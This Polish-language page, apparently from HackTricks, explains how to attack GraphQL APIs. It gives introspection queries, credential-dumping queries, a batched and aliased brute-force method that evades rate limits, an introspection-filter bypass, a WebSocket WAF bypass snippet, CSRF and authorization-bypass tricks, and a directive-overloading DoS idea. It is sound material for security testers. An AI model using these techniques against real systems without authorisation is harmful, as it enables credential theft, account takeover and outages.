GraphQL

Support HackTricks

Wprowadzenie

GraphQL jest wyróżniany jako efektywna alternatywa dla REST API, oferując uproszczone podejście do zapytań o dane z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich potrzebnych informacji za pomocą jednego żądania. To uproszczenie znacząco korzysta dla programistów, zmniejszając złożoność ich procesów pobierania danych.

GraphQL i bezpieczeństwo

Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe luki w zabezpieczeniach. Kluczowym punktem do zauważenia jest to, że GraphQL domyślnie nie zawiera mechanizmów uwierzytelniania. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na programistach. Bez odpowiedniego uwierzytelnienia, punkty końcowe GraphQL mogą ujawniać wrażliwe informacje nieautoryzowanym użytkownikom, co stanowi istotne ryzyko bezpieczeństwa.

Ataki brute force w katalogach i GraphQL

Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie określonych ścieżek w atakach brute force w katalogach. Te ścieżki to:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

Identyfikacja otwartych instancji GraphQL pozwala na zbadanie wspieranych zapytań. To jest kluczowe dla zrozumienia danych dostępnych przez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które wspiera schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: GraphQL: Język zapytań dla API.

Odcisk

Narzędzie graphw00f jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie wydrukować przydatne informacje dla audytora bezpieczeństwa.

Zapytania uniwersalne

Aby sprawdzić, czy URL jest usługą GraphQL, można wysłać zapytanie uniwersalne, query{__typename}. Jeśli odpowiedź zawiera {"data": {"__typename": "Query"}}, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu __typename GraphQL, które ujawnia typ zapytanego obiektu.

query{__typename}

Podstawowa Enumeracja

Graphql zazwyczaj obsługuje GET, POST (x-www-form-urlencoded) i POST(json). Chociaż dla bezpieczeństwa zaleca się zezwolenie tylko na json, aby zapobiec atakom CSRF.

Introspekcja

Aby użyć introspekcji do odkrywania informacji o schemacie, zapytaj pole __schema. To pole jest dostępne w typie głównym wszystkich zapytań.

query={__schema{types{name,fields{name}}}}

Z tą kwerendą znajdziesz nazwy wszystkich używanych typów:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Dzięki temu zapytaniu możesz wyodrębnić wszystkie typy, ich pola i argumenty (oraz typ argumentów). Będzie to bardzo przydatne, aby wiedzieć, jak zapytać bazę danych.

Błędy

Interesujące jest, czy błędy będą pokazywane, ponieważ przyczynią się do użytecznych informacji.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerowanie schematu bazy danych za pomocą introspekcji

Jeśli introspekcja jest włączona, ale powyższe zapytanie nie działa, spróbuj usunąć dyrektywy onOperation, onFragment i onField z struktury zapytania.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Zapytanie introspekcyjne w linii:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Ostatnia linia kodu to zapytanie graphql, które wyciągnie wszystkie metainformacje z graphql (nazwy obiektów, parametry, typy...)

Jeśli introspekcja jest włączona, możesz użyć GraphQL Voyager, aby zobaczyć w GUI wszystkie opcje.

Zapytania

Teraz, gdy wiemy, jaki rodzaj informacji jest zapisany w bazie danych, spróbujmy wyciągnąć kilka wartości.

W introspekcji możesz znaleźć który obiekt możesz bezpośrednio zapytać (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku widać, że "queryType" nazywa się "Query", a jednym z pól obiektu "Query" jest "flags", który jest również typem obiektu. Dlatego możesz zapytać obiekt flagi.

Zauważ, że typ zapytania "flags" to "Flags", a ten obiekt jest zdefiniowany jak poniżej:

Możesz zobaczyć, że obiekty "Flags" składają się z name i value. Następnie możesz uzyskać wszystkie nazwy i wartości flag za pomocą zapytania:

query={flags{name, value}}

Zauważ, że w przypadku gdy obiekt do zapytania jest typem prymitywnym takim jak string, jak w poniższym przykładzie

Możesz po prostu zapytać o to za pomocą:

query={hiddenFlags}

W innym przykładzie, w którym znajdowały się 2 obiekty wewnątrz obiektu typu "Query": "user" i "users". Jeśli te obiekty nie potrzebują żadnych argumentów do wyszukiwania, można pobierać wszystkie informacje z nich po prostu prosząc o dane, które chcesz. W tym przykładzie z Internetu można było wyodrębnić zapisane nazwy użytkowników i hasła:

Jednak w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten błąd:

Wygląda na to, że w jakiś sposób będzie szukać, używając argumentu "uid" typu Int. Tak czy inaczej, już wiedzieliśmy, że w sekcji Basic Enumeration zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Jeśli przeczytasz obrazek dostarczony, gdy uruchomiłem to zapytanie, zobaczysz, że "user" miał arg "uid" typu Int.

Więc, wykonując lekką uid bruteforce, odkryłem, że w uid=1 odzyskano nazwę użytkownika i hasło: query={user(uid:1){user,password}}

Zauważ, że odkryłem, że mogę prosić o parametry "user" i "password", ponieważ jeśli spróbuję szukać czegoś, co nie istnieje (query={user(uid:1){noExists}}), otrzymam ten błąd:

A podczas fazy enumeracji odkryłem, że obiekt "dbuser" miał jako pola "user" i "password.

Sztuczka z zrzutem ciągu zapytania (dzięki @BinaryShadow_)

Jeśli możesz wyszukiwać według typu ciągu, jak: query={theusers(description: ""){username,password}} i szukasz pustego ciągu, to zrzuci wszystkie dane. (Zauważ, że ten przykład nie jest związany z przykładem z samouczków, w tym przykładzie załóż, że możesz wyszukiwać używając "theusers" według pola String o nazwie "description").

Wyszukiwanie

W tej konfiguracji baza danych zawiera osoby i filmy. Osoby są identyfikowane przez swój email i imię; filmy przez swoją nazwę i ocenę. Osoby mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych.

Możesz wyszukiwać osoby po imię i uzyskać ich emaile:

{
searchPerson(name: "John Doe") {
email
}
}

Możesz szukać osób po nazwie i uzyskać ich subskrybowane filmy:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Zauważ, jak wskazano, aby pobrać name subscribedMovies danej osoby.

Możesz również wyszukiwać kilka obiektów jednocześnie. W tym przypadku wyszukiwane są 2 filmy:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Lub nawet relacje kilku różnych obiektów za pomocą aliasów:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutacje

Mutacje są używane do wprowadzania zmian po stronie serwera.

W introspekcji można znaleźć zadeklarowane mutacje. Na poniższym obrazku "MutationType" nazywa się "Mutation", a obiekt "Mutation" zawiera nazwy mutacji (jak "addPerson" w tym przypadku):

W tej konfiguracji baza danych zawiera osoby i filmy. Osoby są identyfikowane przez swój adres e-mail i imię; filmy przez swoją nazwę i ocenę. Osoby mogą być przyjaciółmi i również posiadać filmy, co wskazuje na relacje w bazie danych.

Mutacja do tworzenia nowych filmów w bazie danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Zauważ, jak zarówno wartości, jak i typ danych są wskazane w zapytaniu.

Dodatkowo, baza danych obsługuje operację mutacji, nazwaną addPerson, która umożliwia tworzenie osób wraz z ich powiązaniami z istniejącymi przyjaciółmi i filmami. Ważne jest, aby zauważyć, że przyjaciele i filmy muszą istnieć w bazie danych przed powiązaniem ich z nowo utworzoną osobą.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Przeciążanie dyrektyw

Jak wyjaśniono w jednej z luk opisanych w tym raporcie, przeciążanie dyrektyw polega na wywołaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie DoS.

Grupowanie brute-force w 1 żądaniu API

Te informacje zostały zaczerpnięte z https://lab.wallarm.com/graphql-batching-attack/. Uwierzytelnianie przez GraphQL API z jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące stawki, sprawiając, że myślą, że wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła.

Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z 3 różnymi parami email/hasło jednocześnie. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:

Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły null i odzwierciedliły odpowiednie informacje w sekcji error. Drugie mutacja miała poprawne dane uwierzytelniające i odpowiedź zawiera poprawny token sesji uwierzytelniającej.

GraphQL bez introspekcji

Coraz więcej punktów końcowych graphql wyłącza introspekcję. Jednak błędy, które graphql zgłasza, gdy otrzymuje nieoczekiwane żądanie, są wystarczające dla narzędzi takich jak clairvoyance, aby odtworzyć większość schematu.

Co więcej, rozszerzenie Burp Suite GraphQuail obserwuje żądania GraphQL API przechodzące przez Burp i buduje wewnętrzny schemat GraphQL z każdym nowym zapytaniem, które widzi. Może również ujawniać schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w API. Więcej informacji sprawdź to.

Ładna lista słów do odkrywania jednostek GraphQL można znaleźć tutaj.

Obejście obrony introspekcji GraphQL

Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie specjalnego znaku po słowie kluczowym __schema okazuje się skuteczne. Ta metoda wykorzystuje powszechne niedopatrzenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji, koncentrując się na słowie kluczowym __schema. Dodając znaki takie jak spacje, nowe linie i przecinki, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po __schema może obejść takie obrony:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Jeśli nieudane, rozważ alternatywne metody żądań, takie jak żądania GET lub POST z x-www-form-urlencoded, ponieważ ograniczenia mogą dotyczyć tylko żądań POST.

Spróbuj WebSockets

Jak wspomniano w tej prezentacji, sprawdź, czy możliwe jest połączenie z graphQL za pomocą WebSockets, ponieważ może to pozwolić na ominięcie potencjalnego WAF i sprawić, że komunikacja websocket ujawni schemat graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Odkrywanie Ujawnionych Struktur GraphQL

Gdy introspekcja jest wyłączona, przeszukiwanie kodu źródłowego strony internetowej w poszukiwaniu wstępnie załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z zakładki Sources w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie ujawnione wrażliwe zapytania. Polecenia do wyszukiwania w narzędziach deweloperskich to:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF w GraphQL

Jeśli nie wiesz, czym jest CSRF, przeczytaj następującą stronę:

CSRF (Cross Site Request Forgery)

Możesz znaleźć kilka punktów końcowych GraphQL skonfigurowanych bez tokenów CSRF.

Zauważ, że żądania GraphQL są zazwyczaj wysyłane za pomocą żądań POST z użyciem nagłówka Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Jednak większość punktów końcowych GraphQL obsługuje również form-urlencoded żądania POST:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Zatem, ponieważ żądania CSRF, takie jak poprzednie, są wysyłane bez żądań wstępnych, możliwe jest wprowadzenie zmian w GraphQL, wykorzystując CSRF.

Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi samesite w Chrome to Lax. Oznacza to, że ciasteczko będzie wysyłane tylko z zewnętrznej strony w żądaniach GET.

Należy pamiętać, że zazwyczaj możliwe jest również wysłanie żądania zapytania jako żądania GET, a token CSRF może nie być weryfikowany w żądaniu GET.

Ponadto, wykorzystując atak XS-Search, może być możliwe wykradzenie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika.

Aby uzyskać więcej informacji, sprawdź oryginalny post tutaj.

Przechwytywanie WebSocket między witrynami w GraphQL

Podobnie jak w przypadku luk CRSF, wykorzystując GraphQL, możliwe jest również przeprowadzenie przechwytywania WebSocket między witrynami, aby wykorzystać uwierzytelnienie w GraphQL z niechronionymi ciasteczkami i zmusić użytkownika do wykonania nieoczekiwanych działań w GraphQL.

Aby uzyskać więcej informacji, sprawdź:

WebSocket Attacks

Autoryzacja w GraphQL

Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację.

Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych danych konta leak.

Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Ominięcie autoryzacji w GraphQL

Łączenie zapytań może obejść słaby system autoryzacji.

W poniższym przykładzie widać, że operacja to "forgotPassword" i powinna ona wykonywać tylko zapytanie forgotPassword z nią związane. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" oraz zmienną użytkownika, aby system zarejestrował się jako nowy użytkownik.

Ominięcie limitów szybkości przy użyciu aliasów w GraphQL

W GraphQL aliasy to potężna funkcja, która pozwala na jawne nazywanie właściwości podczas składania żądania API. Ta możliwość jest szczególnie przydatna do pobierania wielu instancji tego samego typu obiektu w jednym żądaniu. Aliasy mogą być używane do pokonywania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.

Aby dokładnie zrozumieć aliasy GraphQL, zaleca się następujące źródło: Aliases.

Chociaż głównym celem aliasów jest zmniejszenie potrzeby wielu wywołań API, zidentyfikowano niezamierzony przypadek użycia, w którym aliasy mogą być wykorzystywane do przeprowadzania ataków brute force na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez ograniczniki szybkości zaprojektowane w celu powstrzymania ataków brute force poprzez ograniczenie liczby żądań HTTP. Jednak te ograniczniki szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Biorąc pod uwagę, że aliasy pozwalają na dołączenie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające.

Rozważ przykład podany poniżej, który ilustruje, jak zapytania z aliasami mogą być używane do weryfikacji ważności kodów rabatowych sklepu. Ta metoda może ominąć ograniczenia szybkości, ponieważ kompiluje kilka zapytań w jednym żądaniu HTTP, potencjalnie umożliwiając weryfikację wielu kodów rabatowych jednocześnie.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Narzędzia

Skanery podatności

Klienci

Testy automatyczne

Odniesienia

Wsparcie HackTricks

Last updated